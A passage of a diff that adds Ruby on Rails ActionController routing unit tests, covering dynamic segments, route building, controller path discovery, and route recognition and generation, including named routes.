+  def test_value_check_fails_on_nil
+    a_value = nil
+    assert ! eval(segment.value_check)
+  end
+
+  def test_optional_value_needs_no_check
+    segment = segment(:optional => true)
+
+    a_value = nil
+    assert_equal nil, segment.value_check
+  end
+
+  def test_regexp_value_check_should_accept_match_with_default
+    segment = segment(:regexp => /\d+/, :default => '200')
+
+    a_value = '100'
+    assert eval(segment.value_check)
+  end
+
+  def test_expiry_should_not_trigger_once_expired
+    expired = true
+    hash = merged = {:a => 2, :b => 3}
+    options = {:b => 3}
+    expire_on = Hash.new { raise 'No!!!' }
+
+    eval(segment.expiry_statement)
+  rescue RuntimeError
+    flunk "Expiry check should not have occurred!"
+  end
+
+  def test_expiry_should_occur_according_to_expire_on
+    expired = false
+    hash = merged = {:a => 2, :b => 3}
+    options = {:b => 3}
+
+    expire_on = {:b => true, :a => false}
+    eval(segment.expiry_statement)
+    assert !expired
+    assert_equal({:a => 2, :b => 3}, hash)
+
+    expire_on = {:b => true, :a => true}
+    eval(segment.expiry_statement)
+    assert expired
+    assert_equal({:b => 3}, hash)
+  end
+
+  def test_extraction_code_should_return_on_nil
+    hash = merged = {:b => 3}
+    options = {:b => 3}
+    a_value = nil
+
+    # Local jump because of return inside eval.
+    assert_raises(LocalJumpError) { eval(segment.extraction_code) }
+  end
+
+  def test_extraction_code_should_return_on_mismatch
+    segment = segment(:regexp => /\d+/)
+    hash = merged = {:a => 'Hi', :b => '3'}
+    options = {:b => '3'}
+    a_value = nil
+
+    # Local jump because of return inside eval.
+    assert_raises(LocalJumpError) { eval(segment.extraction_code) }
+  end
+
+  def test_extraction_code_should_accept_value_and_set_local
+    hash = merged = {:a => 'Hi', :b => '3'}
+    options = {:b => '3'}
+    a_value = nil
+    expired = true
+
+    eval(segment.extraction_code)
+    assert_equal 'Hi', a_value
+  end
+
+  def test_extraction_should_work_without_value_check
+    segment.default = 'hi'
+    hash = merged = {:b => '3'}
+    options = {:b => '3'}
+    a_value = nil
+    expired = true
+
+    eval(segment.extraction_code)
+    assert_equal 'hi', a_value
+  end
+
+  def test_extraction_code_should_perform_expiry
+    expired = false
+    hash = merged = {:a => 'Hi', :b => '3'}
+    options = {:b => '3'}
+    expire_on = {:a => true}
+    a_value = nil
+
+    eval(segment.extraction_code)
+    assert_equal 'Hi', a_value
+    assert expired
+    assert_equal options, hash
+  end
+
+  def test_interpolation_chunk_should_replace_value
+    a_value = 'Hi'
+    assert_equal a_value, eval(%("#{segment.interpolation_chunk}"))
+  end
+
+  def test_interpolation_chunk_should_accept_nil
+    a_value = nil
+    assert_equal '', eval(%("#{segment.interpolation_chunk('a_value')}"))
+  end
+
+  def test_value_regexp_should_be_nil_without_regexp
+    assert_equal nil, segment.value_regexp
+  end
+
+  def test_value_regexp_should_match_exacly
+    segment = segment(:regexp => /\d+/)
+    assert_no_match segment.value_regexp, "Hello 10 World"
+    assert_no_match segment.value_regexp, "Hello 10"
+    assert_no_match segment.value_regexp, "10 World"
+    assert_match segment.value_regexp, "10"
+  end
+
+  def test_regexp_chunk_should_return_string
+    segment = segment(:regexp => /\d+/)
+    assert_kind_of String, segment.regexp_chunk
+  end
+
+  def test_build_pattern_non_optional_with_no_captures
+    # Non optional
+    a_segment = ROUTING::DynamicSegment.new(nil, :regexp => /\d+/)
+    assert_equal "(\\d+)stuff", a_segment.build_pattern('stuff')
+  end
+
+  def test_build_pattern_non_optional_with_captures
+    # Non optional
+    a_segment = ROUTING::DynamicSegment.new(nil, :regexp => /(\d+)(.*?)/)
+    assert_equal "((\\d+)(.*?))stuff", a_segment.build_pattern('stuff')
+  end
+
+  def test_optionality_implied
+    a_segment = ROUTING::DynamicSegment.new(:id)
+    assert a_segment.optionality_implied?
+
+    a_segment = ROUTING::DynamicSegment.new(:action)
+    assert a_segment.optionality_implied?
+  end
+
+  def test_modifiers_must_be_handled_sensibly
+    a_segment = ROUTING::DynamicSegment.new(nil, :regexp => /david|jamis/i)
+    assert_equal "((?i-mx:david|jamis))stuff", a_segment.build_pattern('stuff')
+    a_segment = ROUTING::DynamicSegment.new(nil, :regexp =>  /david|jamis/x)
+    assert_equal "((?x-mi:david|jamis))stuff", a_segment.build_pattern('stuff')
+    a_segment = ROUTING::DynamicSegment.new(nil, :regexp => /david|jamis/)
+    assert_equal "(david|jamis)stuff", a_segment.build_pattern('stuff')
+  end
+end
+
+class ControllerSegmentTest < Test::Unit::TestCase
+  def test_regexp_should_only_match_possible_controllers
+    ActionController::Routing.with_controllers %w(admin/accounts admin/users account pages) do
+      cs = ROUTING::ControllerSegment.new :controller
+      regexp = %r{\A#{cs.regexp_chunk}\Z}
+
+      ActionController::Routing.possible_controllers.each do |name|
+        assert_match regexp, name
+        assert_no_match regexp, "#{name}_fake"
+
+        match = regexp.match name
+        assert_equal name, match[1]
+      end
+    end
+  end
+end
+
+class RouteBuilderTest < Test::Unit::TestCase
+  def builder
+    @builder ||= ROUTING::RouteBuilder.new
+  end
+
+  def build(path, options)
+    builder.build(path, options)
+  end
+
+  def test_options_should_not_be_modified
+    requirements1 = { :id => /\w+/, :controller => /(?:[a-z](?:-?[a-z]+)*)/ }
+    requirements2 = requirements1.dup
+
+    assert_equal requirements1, requirements2
+
+    with_options(:controller => 'folder',
+                 :requirements => requirements2) do |m|
+      m.build 'folders/new', :action => 'new'
+    end
+
+    assert_equal requirements1, requirements2
+  end
+
+  def test_segment_for_static
+    segment, rest = builder.segment_for 'ulysses'
+    assert_equal '', rest
+    assert_kind_of ROUTING::StaticSegment, segment
+    assert_equal 'ulysses', segment.value
+  end
+
+  def test_segment_for_action
+    segment, rest = builder.segment_for ':action'
+    assert_equal '', rest
+    assert_kind_of ROUTING::DynamicSegment, segment
+    assert_equal :action, segment.key
+    assert_equal 'index', segment.default
+  end
+
+  def test_segment_for_dynamic
+    segment, rest = builder.segment_for ':login'
+    assert_equal '', rest
+    assert_kind_of ROUTING::DynamicSegment, segment
+    assert_equal :login, segment.key
+    assert_equal nil, segment.default
+    assert ! segment.optional?
+  end
+
+  def test_segment_for_with_rest
+    segment, rest = builder.segment_for ':login/:action'
+    assert_equal :login, segment.key
+    assert_equal '/:action', rest
+    segment, rest = builder.segment_for rest
+    assert_equal '/', segment.value
+    assert_equal ':action', rest
+    segment, rest = builder.segment_for rest
+    assert_equal :action, segment.key
+    assert_equal '', rest
+  end
+
+  def test_segments_for
+    segments = builder.segments_for_route_path '/:controller/:action/:id'
+
+    assert_kind_of ROUTING::DividerSegment, segments[0]
+    assert_equal '/', segments[2].value
+
+    assert_kind_of ROUTING::DynamicSegment, segments[1]
+    assert_equal :controller, segments[1].key
+
+    assert_kind_of ROUTING::DividerSegment, segments[2]
+    assert_equal '/', segments[2].value
+
+    assert_kind_of ROUTING::DynamicSegment, segments[3]
+    assert_equal :action, segments[3].key
+
+    assert_kind_of ROUTING::DividerSegment, segments[4]
+    assert_equal '/', segments[4].value
+
+    assert_kind_of ROUTING::DynamicSegment, segments[5]
+    assert_equal :id, segments[5].key
+  end
+
+  def test_segment_for_action
+    s, r = builder.segment_for(':action/something/else')
+    assert_equal '/something/else', r
+    assert_equal :action, s.key
+  end
+
+  def test_action_default_should_not_trigger_on_prefix
+    s, r = builder.segment_for ':action_name/something/else'
+    assert_equal '/something/else', r
+    assert_equal :action_name, s.key
+    assert_equal nil, s.default
+  end
+
+  def test_divide_route_options
+    segments = builder.segments_for_route_path '/cars/:action/:person/:car/'
+    defaults, requirements = builder.divide_route_options(segments,
+      :action => 'buy', :person => /\w+/, :car => /\w+/,
+      :defaults => {:person => nil, :car => nil}
+    )
+
+    assert_equal({:action => 'buy', :person => nil, :car => nil}, defaults)
+    assert_equal({:person => /\w+/, :car => /\w+/}, requirements)
+  end
+
+  def test_assign_route_options
+    segments = builder.segments_for_route_path '/cars/:action/:person/:car/'
+    defaults = {:action => 'buy', :person => nil, :car => nil}
+    requirements = {:person => /\w+/, :car => /\w+/}
+
+    route_requirements = builder.assign_route_options(segments, defaults, requirements)
+    assert_equal({}, route_requirements)
+
+    assert_equal :action, segments[3].key
+    assert_equal 'buy', segments[3].default
+
+    assert_equal :person, segments[5].key
+    assert_equal %r/\w+/, segments[5].regexp
+    assert segments[5].optional?
+
+    assert_equal :car, segments[7].key
+    assert_equal %r/\w+/, segments[7].regexp
+    assert segments[7].optional?
+  end
+
+  def test_assign_route_options_with_anchor_chars
+    segments = builder.segments_for_route_path '/cars/:action/:person/:car/'
+    defaults = {:action => 'buy', :person => nil, :car => nil}
+    requirements = {:person => /\w+/, :car => /^\w+$/}
+
+    assert_raises ArgumentError do
+      route_requirements = builder.assign_route_options(segments, defaults, requirements)
+    end
+
+    requirements[:car] = /[^\/]+/
+    route_requirements = builder.assign_route_options(segments, defaults, requirements)
+  end
+
+  def test_optional_segments_preceding_required_segments
+    segments = builder.segments_for_route_path '/cars/:action/:person/:car/'
+    defaults = {:action => 'buy', :person => nil, :car => "model-t"}
+    assert builder.assign_route_options(segments, defaults, {}).empty?
+
+    0.upto(1) { |i| assert !segments[i].optional?, "segment #{i} is optional and it shouldn't be" }
+    assert segments[2].optional?
+
+    assert_equal nil, builder.warn_output # should only warn on the :person segment
+  end
+
+  def test_segmentation_of_dot_path
+    segments = builder.segments_for_route_path '/books/:action.rss'
+    assert builder.assign_route_options(segments, {}, {}).empty?
+    assert_equal 6, segments.length # "/", "books", "/", ":action", ".", "rss"
+    assert !segments.any? { |seg| seg.optional? }
+  end
+
+  def test_segmentation_of_dynamic_dot_path
+    segments = builder.segments_for_route_path '/books/:action.:format'
+    assert builder.assign_route_options(segments, {}, {}).empty?
+    assert_equal 6, segments.length # "/", "books", "/", ":action", ".", ":format"
+    assert !segments.any? { |seg| seg.optional? }
+    assert_kind_of ROUTING::DynamicSegment, segments.last
+  end
+
+  def test_assignment_of_default_options
+    segments = builder.segments_for_route_path '/:controller/:action/:id/'
+    action, id = segments[-4], segments[-2]
+
+    assert_equal :action, action.key
+    assert_equal :id, id.key
+    assert ! action.optional?
+    assert ! id.optional?
+
+    builder.assign_default_route_options(segments)
+
+    assert_equal 'index', action.default
+    assert action.optional?
+    assert id.optional?
+  end
+
+  def test_assignment_of_default_options_respects_existing_defaults
+    segments = builder.segments_for_route_path '/:controller/:action/:id/'
+    action, id = segments[-4], segments[-2]
+
+    assert_equal :action, action.key
+    assert_equal :id, id.key
+    action.default = 'show'
+    action.is_optional = true
+
+    id.default = 'Welcome'
+    id.is_optional = true
+
+    builder.assign_default_route_options(segments)
+
+    assert_equal 'show', action.default
+    assert action.optional?
+    assert_equal 'Welcome', id.default
+    assert id.optional?
+  end
+
+  def test_assignment_of_default_options_respects_regexps
+    segments = builder.segments_for_route_path '/:controller/:action/:id/'
+    action = segments[-4]
+
+    assert_equal :action, action.key
+    segments[-4] = ROUTING::DynamicSegment.new(:action, :regexp => /show|in/)
+
+    builder.assign_default_route_options(segments)
+
+    assert_equal nil, action.default
+    assert ! action.optional?
+  end
+
+  def test_assignment_of_is_optional_when_default
+    segments = builder.segments_for_route_path '/books/:action.rss'
+    assert_equal segments[3].key, :action
+    segments[3].default = 'changes'
+    builder.ensure_required_segments(segments)
+    assert ! segments[3].optional?
+  end
+
+  def test_is_optional_is_assigned_to_default_segments
+    segments = builder.segments_for_route_path '/books/:action'
+    builder.assign_route_options(segments, {:action => 'index'}, {})
+
+    assert_equal segments[3].key, :action
+    assert segments[3].optional?
+    assert_kind_of ROUTING::DividerSegment, segments[2]
+    assert segments[2].optional?
+  end
+
+  # XXX is optional not being set right?
+  # /blah/:defaulted_segment <-- is the second slash optional? it should be.
+
+  def test_route_build
+    ActionController::Routing.with_controllers %w(users pages) do
+      r = builder.build '/:controller/:action/:id/', :action => nil
+
+      [0, 2, 4].each do |i|
+        assert_kind_of ROUTING::DividerSegment, r.segments[i]
+        assert_equal '/', r.segments[i].value
+        assert r.segments[i].optional? if i > 1
+      end
+
+      assert_kind_of ROUTING::DynamicSegment, r.segments[1]
+      assert_equal :controller, r.segments[1].key
+      assert_equal nil, r.segments[1].default
+
+      assert_kind_of ROUTING::DynamicSegment, r.segments[3]
+      assert_equal :action, r.segments[3].key
+      assert_equal 'index', r.segments[3].default
+
+      assert_kind_of ROUTING::DynamicSegment, r.segments[5]
+      assert_equal :id, r.segments[5].key
+      assert r.segments[5].optional?
+    end
+  end
+
+  def test_slashes_are_implied
+    routes = [
+      builder.build('/:controller/:action/:id/', :action => nil),
+      builder.build('/:controller/:action/:id', :action => nil),
+      builder.build(':controller/:action/:id', :action => nil),
+      builder.build('/:controller/:action/:id/', :action => nil)
+    ]
+    expected = routes.first.segments.length
+    routes.each_with_index do |route, i|
+      found = route.segments.length
+      assert_equal expected, found, "Route #{i + 1} has #{found} segments, expected #{expected}"
+    end
+  end
+end
+
+class RoutingTest < Test::Unit::TestCase
+  def test_possible_controllers
+    true_controller_paths = ActionController::Routing.controller_paths
+
+    ActionController::Routing.use_controllers! nil
+
+    silence_warnings do
+      Object.send(:const_set, :RAILS_ROOT, File.dirname(__FILE__) + '/controller_fixtures')
+    end
+
+    ActionController::Routing.controller_paths = [
+      RAILS_ROOT, RAILS_ROOT + '/app/controllers', RAILS_ROOT + '/vendor/plugins/bad_plugin/lib'
+    ]
+
+    assert_equal ["admin/user", "plugin", "user"], ActionController::Routing.possible_controllers.sort
+  ensure
+    if true_controller_paths
+      ActionController::Routing.controller_paths = true_controller_paths
+    end
+    ActionController::Routing.use_controllers! nil
+    Object.send(:remove_const, :RAILS_ROOT) rescue nil
+  end
+
+  def test_possible_controllers_are_reset_on_each_load
+    true_possible_controllers = ActionController::Routing.possible_controllers
+    true_controller_paths = ActionController::Routing.controller_paths
+
+    ActionController::Routing.use_controllers! nil
+    root = File.dirname(__FILE__) + '/controller_fixtures'
+
+    ActionController::Routing.controller_paths = []
+    assert_equal [], ActionController::Routing.possible_controllers
+
+    ActionController::Routing.controller_paths = [
+      root, root + '/app/controllers', root + '/vendor/plugins/bad_plugin/lib'
+    ]
+    ActionController::Routing::Routes.load!
+
+    assert_equal ["admin/user", "plugin", "user"], ActionController::Routing.possible_controllers.sort
+  ensure
+    ActionController::Routing.controller_paths = true_controller_paths
+    ActionController::Routing.use_controllers! true_possible_controllers
+    Object.send(:remove_const, :RAILS_ROOT) rescue nil
+
+    ActionController::Routing::Routes.clear!
+    ActionController::Routing::Routes.load_routes!
+  end
+
+  def test_with_controllers
+    c = %w(admin/accounts admin/users account pages)
+    ActionController::Routing.with_controllers c do
+      assert_equal c, ActionController::Routing.possible_controllers
+    end
+  end
+
+  def test_normalize_unix_paths
+    load_paths = %w(. config/../app/controllers config/../app//helpers script/../config/../vendor/rails/actionpack/lib vendor/rails/railties/builtin/rails_info app/models lib script/../config/../foo/bar/../../app/models .foo/../.bar foo.bar/../config)
+    paths = ActionController::Routing.normalize_paths(load_paths)
+    assert_equal %w(vendor/rails/railties/builtin/rails_info vendor/rails/actionpack/lib app/controllers app/helpers app/models config .bar lib .), paths
+  end
+
+  def test_normalize_windows_paths
+    load_paths = %w(. config\\..\\app\\controllers config\\..\\app\\\\helpers script\\..\\config\\..\\vendor\\rails\\actionpack\\lib vendor\\rails\\railties\\builtin\\rails_info app\\models lib script\\..\\config\\..\\foo\\bar\\..\\..\\app\\models .foo\\..\\.bar foo.bar\\..\\config)
+    paths = ActionController::Routing.normalize_paths(load_paths)
+    assert_equal %w(vendor\\rails\\railties\\builtin\\rails_info vendor\\rails\\actionpack\\lib app\\controllers app\\helpers app\\models config .bar lib .), paths
+  end
+
+  def test_routing_helper_module
+    assert_kind_of Module, ActionController::Routing::Helpers
+
+    h = ActionController::Routing::Helpers
+    c = Class.new
+    assert ! c.ancestors.include?(h)
+    ActionController::Routing::Routes.install_helpers c
+    assert c.ancestors.include?(h)
+  end
+end
+
+uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
+  class MockController
+    attr_accessor :routes
+
+    def initialize(routes)
+      self.routes = routes
+    end
+
+    def url_for(options)
+      only_path = options.delete(:only_path)
+
+      port        = options.delete(:port) || 80
+      port_string = port == 80 ? '' : ":#{port}"
+
+      protocol = options.delete(:protocol) || "http"
+      host     = options.delete(:host) || "named.route.test"
+      anchor   = "##{options.delete(:anchor)}" if options.key?(:anchor)
+
+      path = routes.generate(options)
+
+      only_path ? "#{path}#{anchor}" : "#{protocol}://#{host}#{port_string}#{path}#{anchor}"
+    end
+
+    def request
+      @request ||= MockRequest.new(:host => "named.route.test", :method => :get)
+    end
+  end
+
+  class MockRequest
+    attr_accessor :path, :path_parameters, :host, :subdomains, :domain, :method
+
+    def initialize(values={})
+      values.each { |key, value| send("#{key}=", value) }
+      if values[:host]
+        subdomain, self.domain = values[:host].split(/\./, 2)
+        self.subdomains = [subdomain]
+      end
+    end
+
+    def protocol
+      "http://"
+    end
+
+    def host_with_port
+      (subdomains * '.') + '.' +  domain
+    end
+  end
+
+  class LegacyRouteSetTests < Test::Unit::TestCase
+    attr_reader :rs
+
+    def setup
+      # These tests assume optimisation is on, so re-enable it.
+      ActionController::Base.optimise_named_routes = true
+
+      @rs = ::ActionController::Routing::RouteSet.new
+      @rs.draw {|m| m.connect ':controller/:action/:id' }
+
+      ActionController::Routing.use_controllers! %w(content admin/user admin/news_feed)
+    end
+
+    def test_default_setup
+      assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
+      assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list"))
+      assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
+
+      assert_equal({:controller => "admin/user", :action => 'show', :id => '10'}, rs.recognize_path("/admin/user/show/10"))
+
+      assert_equal '/admin/user/show/10', rs.generate(:controller => 'admin/user', :action => 'show', :id => 10)
+
+      assert_equal '/admin/user/show', rs.generate({:action => 'show'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+      assert_equal '/admin/user/list/10', rs.generate({}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+
+      assert_equal '/admin/stuff', rs.generate({:controller => 'stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+      assert_equal '/stuff', rs.generate({:controller => '/stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
+    end
+
+    def test_ignores_leading_slash
+      @rs.draw {|m| m.connect '/:controller/:action/:id'}
+      test_default_setup
+    end
+
+    def test_time_recognition
+      # We create many routes to make situation more realistic
+      @rs = ::ActionController::Routing::RouteSet.new
+      @rs.draw { |map|
+        map.frontpage '', :controller => 'search', :action => 'new'
+        map.resources :videos do |video|
+          video.resources :comments
+          video.resource  :file,      :controller => 'video_file'
+          video.resource  :share,     :controller => 'video_shares'
+          video.resource  :abuse,     :controller => 'video_abuses'
+        end
+        map.resources :abuses, :controller => 'video_abuses'
+        map.resources :video_uploads
+        map.resources :video_visits
+
+        map.resources :users do |user|
+          user.resource  :settings
+          user.resources :videos
+        end
+        map.resources :channels do |channel|
+          channel.resources :videos, :controller => 'channel_videos'
+        end
+        map.resource  :session
+        map.resource  :lost_password
+        map.search    'search', :controller => 'search'
+        map.resources :pages
+        map.connect ':controller/:action/:id'
+      }
+      n = 1000
+      if RunTimeTests
+        GC.start
+        rectime = Benchmark.realtime do
+          n.times do
+            rs.recognize_path("/videos/1234567", {:method => :get})
+            rs.recognize_path("/videos/1234567/abuse", {:method => :get})
+            rs.recognize_path("/users/1234567/settings", {:method => :get})
+            rs.recognize_path("/channels/1234567", {:method => :get})
+            rs.recognize_path("/session/new", {:method => :get})
+            rs.recognize_path("/admin/user/show/10", {:method => :get})
+          end
+        end
+        puts "\n\nRecognition (#{rs.routes.size} routes):"
+        per_url = rectime / (n * 6)
+        puts "#{per_url * 1000} ms/url"
+        puts "#{1 / per_url} url/s\n\n"
+      end
+    end
+
+    def test_time_generation
+      n = 5000
+      if RunTimeTests
+        GC.start
+        pairs = [
+          [{:controller => 'content', :action => 'index'}, {:controller => 'content', :action => 'show'}],
+          [{:controller => 'content'}, {:controller => 'content', :action => 'index'}],
+          [{:controller => 'content', :action => 'list'}, {:controller => 'content', :action => 'index'}],
+          [{:controller => 'content', :action => 'show', :id => '10'}, {:controller => 'content', :action => 'list'}],
+          [{:controller => 'admin/user', :action => 'index'}, {:controller => 'admin/user', :action => 'show'}],
+          [{:controller => 'admin/user'}, {:controller => 'admin/user', :action => 'index'}],
+          [{:controller => 'admin/user', :action => 'list'}, {:controller => 'admin/user', :action => 'index'}],
+          [{:controller => 'admin/user', :action => 'show', :id => '10'}, {:controller => 'admin/user', :action => 'list'}],
+        ]
+        p = nil
+        gentime = Benchmark.realtime do
+          n.times do
+          pairs.each {|(a, b)| rs.generate(a, b)}
+          end
+        end
+
+        puts "\n\nGeneration (RouteSet): (#{(n * 8)} urls)"
+        per_url = gentime / (n * 8)
+        puts "#{per_url * 1000} ms/url"
+        puts "#{1 / per_url} url/s\n\n"
+      end
+    end
+
+    def test_route_with_colon_first
+      rs.draw do |map|
+        map.connect '/:controller/:action/:id', :action => 'index', :id => nil
+        map.connect ':url', :controller => 'tiny_url', :action => 'translate'
+      end
+    end
+
+    def test_route_with_regexp_for_controller
+      rs.draw do |map|
+        map.connect ':controller/:admintoken/:action/:id', :controller => /admin\/.+/
+        map.connect ':controller/:action/:id'
+      end
+      assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"},
+          rs.recognize_path("/admin/user/foo"))
+      assert_equal({:controller => "content", :action => "foo"}, rs.recognize_path("/content/foo"))
+      assert_equal '/admin/user/foo', rs.generate(:controller => "admin/user", :admintoken => "foo", :action => "index")
+      assert_equal '/content/foo', rs.generate(:controller => "content", :action => "foo")
+    end
+
+    def test_route_with_regexp_and_dot
+      rs.draw do |map|
+        map.connect ':controller/:action/:file',
+                          :controller => /admin|user/,
+                          :action => /upload|download/,
+                          :defaults => {:file => nil},
+                          :requirements => {:file => %r{[^/]+(\.[^/]+)?}}
+      end
+      # Without a file extension
+      assert_equal '/user/download/file',
+        rs.generate(:controller => "user", :action => "download", :file => "file")
+      assert_equal(
+        {:controller => "user", :action => "download", :file => "file"},
+        rs.recognize_path("/user/download/file"))
+
+      # Now, let's try a file with an extension, really a dot (.)
+      assert_equal '/user/download/file.jpg',
+        rs.generate(
+          :controller => "user", :action => "download", :file => "file.jpg")
+      assert_equal(
+        {:controller => "user", :action => "download", :file => "file.jpg"},
+        rs.recognize_path("/user/download/file.jpg"))
+    end
+
+    def test_basic_named_route
+      rs.add_named_route :home, '', :controller => 'content', :action => 'list'
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/",
+                   x.send(:home_url))
+    end
+
+    def test_basic_named_route_with_relative_url_root
+      rs.add_named_route :home, '', :controller => 'content', :action => 'list'
+      x = setup_for_named_route
+      ActionController::Base.relative_url_root = "/foo"
+      assert_equal("http://named.route.test/foo/",
+                   x.send(:home_url))
+      assert_equal "/foo/", x.send(:home_path)
+      ActionController::Base.relative_url_root = nil
+    end
+
+    def test_named_route_with_option
+      rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page'
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/page/new%20stuff",
+                   x.send(:page_url, :title => 'new stuff'))
+    end
+
+    def test_named_route_with_default
+      rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page', :title => 'AboutPage'
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/page/AboutRails",
+                   x.send(:page_url, :title => "AboutRails"))
+
+    end
+
+    def test_named_route_with_name_prefix
+      rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :name_prefix => 'my_'
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/page",
+                   x.send(:my_page_url))
+    end
+
+    def test_named_route_with_path_prefix
+      rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => 'my'
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/my/page",
+                   x.send(:page_url))
+    end
+
+    def test_named_route_with_nested_controller
+      rs.add_named_route :users, 'admin/user', :controller => 'admin/user', :action => 'index'
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/admin/user",
+                   x.send(:users_url))
+    end
+
+    def test_optimised_named_route_call_never_uses_url_for
+      rs.add_named_route :users, 'admin/user', :controller => '/admin/user', :action => 'index'
+      rs.add_named_route :user, 'admin/user/:id', :controller=>'/admin/user', :action=>'show'
+      x = setup_for_named_route
+      x.expects(:url_for).never
+      x.send(:users_url)
+      x.send(:users_path)
+      x.send(:user_url, 2, :foo=>"bar")
+      x.send(:user_path, 3, :bar=>"foo")
+    end
+
+    def test_optimised_named_route_with_host
+      rs.add_named_route :pages, 'pages', :controller => 'content', :action => 'show_page', :host => 'foo.com'
+      x = setup_for_named_route
+      x.expects(:url_for).with(:host => 'foo.com', :only_path => false, :controller => 'content', :action => 'show_page', :use_route => :pages).once
+      x.send(:pages_url)
+    end
+
+    def setup_for_named_route
+      klass = Class.new(MockController)
+      rs.install_helpers(klass)
+      klass.new(rs)
+    end
+
+    def test_named_route_without_hash
+      rs.draw do |map|
+        map.normal ':controller/:action/:id'
+      end
+    end
+
+    def test_named_route_root
+      rs.draw do |map|
+        map.root :controller => "hello"
+      end
+      x = setup_for_named_route
+      assert_equal("http://named.route.test/", x.send(:root_url))
+      assert_equal("/", x.send(:root_path))
+    end
+
+    def test_named_route_with_regexps
+      rs.draw do |map|
+        map.article 'page/:year/:month/:day/:title', :controller => 'page', :action => 'show',
+          :year => /\d+/, :month => /\d+/, :day => /\d+/
+        map.connect ':controller/:action/:id'
+      end
+      x = setup_for_named_route
+      # assert_equal(
+      #   {:controller => 'page', :action => 'show', :title => 'hi', :use_route => :article, :only_path => false},
+      #   x.send(:article_url, :title => 'hi')
+      # )
+      assert_equal(
+        "http://named.route.test/page/2005/6/10/hi",
+        x.send(:article_url, :title => 'hi', :day => 10, :year => 2005, :month => 6)
+      )
+    end
+
+    def test_changing_controller
+      assert_equal '/admin/stuff/show/10', rs.generate(
+        {:controller => 'stuff', :action => 'show', :id => 10},
+        {:controller => 'admin/user', :action => 'index'}
+      )
+    end
+
+    def test_paths_escaped
+      rs.draw do |map|
+        map.path 'file/*path', :controller => 'content', :action => 'show_file'
+        map.connect ':controller/:action/:id'
+      end
+
+      # No + to space in URI escaping, only for query params.
+      results = rs.recognize_path "/file/hello+world/how+are+you%3F"
+      assert results, "Recognition should have succeeded"
+      assert_equal ['hello+world', 'how+are+you?'], results[:path]
+
+      # Use %20 for space instead.
+      results = rs.recognize_path "/file/hello%20world/how%20are%20you%3F"
+      assert results, "Recognition should have succeeded"
+      assert_equal ['hello world', 'how are you?'], results[:path]
+
+      results = rs.recognize_path "/file"
+      assert results, "Recognition should have succeeded"
+      assert_equal [], results[:path]
+    end
+
+    def test_paths_slashes_unescaped_with_ordered_parameters
+      rs.add_named_route :path, '/file/*path', :controller => 'content'
+
+      # No / to %2F in URI, only for query params.
+      x = setup_for_named_route
+      assert_equal("/file/hello/world", x.send(:path_path, 'hello/world'))
+    end
+
+    def test_non_controllers_cannot_be_matched
+      rs.draw do |map|
+        map.connect ':controller/:action/:id'
+      end
+      assert_raises(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
+    end
+
+    def test_paths_do_not_accept_defaults
+      assert_raises(ActionController::RoutingError) do
+        rs.draw do |map|
+          map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => %w(fake default)
+          map.connect ':controller/:action/:id'
+        end
+      end
+
+      rs.draw do |map|
+        map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => []
+        map.connect ':controller/:action/:id'
+      end
+    end
+
+    def test_should_list_options_diff_when_routing_requirements_dont_match
+      rs.draw do |map|
+        map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
+      end
+      exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post") }
+      assert_match /^post_url failed to generate/, exception.message
+      from_match = exception.message.match(/from \{[^\}]+\}/).to_s
+      assert_match /:bad_param=>"foo"/,   from_match
+      assert_match /:action=>"show"/,     from_match
+      assert_match /:controller=>"post"/, from_match
+
+      expected_match = exception.message.match(/expected: \{[^\}]+\}/).to_s
+      assert_no_match /:bad_param=>"foo"/,   expected_match
+      assert_match    /:action=>"show"/,     expected_match
+      assert_match    /:controller=>"post"/, expected_match
+
+      diff_match = exception.message.match(/diff: \{[^\}]+\}/).to_s
+      assert_match    /:bad_param=>"foo"/,   diff_match
+      assert_no_match /:action=>"show"/,     diff_match
+      assert_no_match /:controller=>"post"/, diff_match
+    end
+
+    # this specifies the case where your formerly would get a very confusing error message with an empty diff
+    def test_should_have_better_error_message_when_options_diff_is_empty
+      rs.draw do |map|
+        map.content '/content/:query', :controller => 'content', :action => 'show'
+      end
+
+      exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'content', :action => 'show', :use_route => "content") }
+      assert_match %r[:action=>"show"], exception.message
+      assert_match %r[:controller=>"content"], exception.message
+      assert_match %r[you may have ambiguous routes, or you may need to supply additional parameters for this route], exception.message
+      assert_match %r[content_url has the following required parameters: \["content", :query\] - are they all satisfied?], exception.message
+    end
+
+    def test_dynamic_path_allowed
+      rs.draw do |map|
+        map.connect '*path', :controller => 'content', :action => 'show_file'
+      end
+
+      assert_equal '/pages/boo', rs.generate(:controller => 'content', :action => 'show_file', :path => %w(pages boo))
+    end
+
+    def test_dynamic_recall_paths_allowed
+      rs.draw do |map|
+        map.connect '*path', :controller => 'content', :action => 'show_file'
+      end
+
+      recall_path = ActionController::Routing::PathSegment::Result.new(%w(pages boo))
+      assert_equal '/pages/boo', rs.generate({}, :controller => 'content', :action => 'show_file', :path => recall_path)
+    end
+
+    def test_backwards
+      rs.draw do |map|
+        map.connect 'page/:id/:action', :controller => 'pages', :action => 'show'
